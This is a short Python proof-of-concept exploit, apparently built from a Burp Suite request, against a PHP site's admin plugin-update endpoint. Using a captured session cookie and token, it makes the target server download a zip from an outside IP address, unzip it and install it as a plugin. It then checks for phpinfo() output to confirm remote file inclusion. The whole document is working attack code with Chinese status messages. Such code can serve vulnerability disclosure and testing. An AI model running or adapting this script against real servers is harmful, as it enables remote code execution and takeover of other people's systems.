1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests
burp0_url = "http://192.168.119.132:8080" burp0_cookies = {"token": "2309072205", "PHPSESSID": "lvpfr6r8n899kimmrn7danl0b5"} burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
def attack(): url0 = burp0_url + "/admin.php/Plugins/update?filepath=path&download_url=http://101.35.156.126:8000/test.zip&action=start-download" r0 = requests.get(url0, headers=burp0_headers, cookies=burp0_cookies) if r0.text.find("update_path.zip") != -1: print("压缩包文件上传成功") url1 = burp0_url+"/admin.php/Plugins/update?filepath=path&action=file-upzip" r1=requests.get(url1,headers=burp0_headers, cookies=burp0_cookies) if r1.text.find("解压完毕") != -1: print("压缩包文件解压成功") url2 = burp0_url+"/admin.php/Plugins/update?filepath=path&action=plugin-install" r2=requests.get(url2,headers=burp0_headers, cookies=burp0_cookies) if r2.text.find("phpinfo()") != -1: print("远程文件包含成功")
if __name__=='__main__': attack()
|